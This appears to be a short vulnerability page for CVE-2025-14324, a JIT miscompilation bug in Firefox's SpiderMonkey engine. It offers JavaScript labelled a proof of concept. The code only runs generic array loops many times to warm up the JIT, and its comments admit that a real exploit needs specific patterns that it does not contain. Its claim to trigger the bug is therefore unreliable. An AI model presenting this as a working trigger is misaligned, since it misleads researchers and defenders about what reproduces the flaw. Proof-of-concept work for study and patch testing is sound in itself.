CVE-2025-14324 Firefox JavaScript引擎JIT编译器误编译漏洞

// CVE-2025-14324 PoC - JIT Miscompilation Trigger // This PoC demonstrates triggering the JIT miscompilation vulnerability // Note: Actual exploit requires specific JavaScript patterns that trigger // the compiler bug in SpiderMonkey's JIT component function triggerJITBug() { // Initialize array with specific data patterns var arr = new Array(1000); for (var i = 0; i < 1000; i++) { arr[i] = { value: i }; } // Trigger JIT compilation with polymorphic operations // that may expose the miscompilation issue function vulnerableFunction(a, b) { var result = 0; for (var i = 0; i < 100; i++) { // Pattern that may trigger JIT compiler bug if (a[i] && a[i].value !== undefined) { result += a[i].value; } // Additional operations to stress JIT if (b[i] && b[i].value !== undefined) { result *= b[i].value; } } return result; } // Force JIT compilation for (var j = 0; j < 10000; j++) { vulnerableFunction(arr, arr); } return vulnerableFunction(arr, arr); } // Execute the trigger try { var result = triggerJITBug(); console.log('Execution completed with result:', result); } catch (e) { console.log('Error occurred:', e.message); }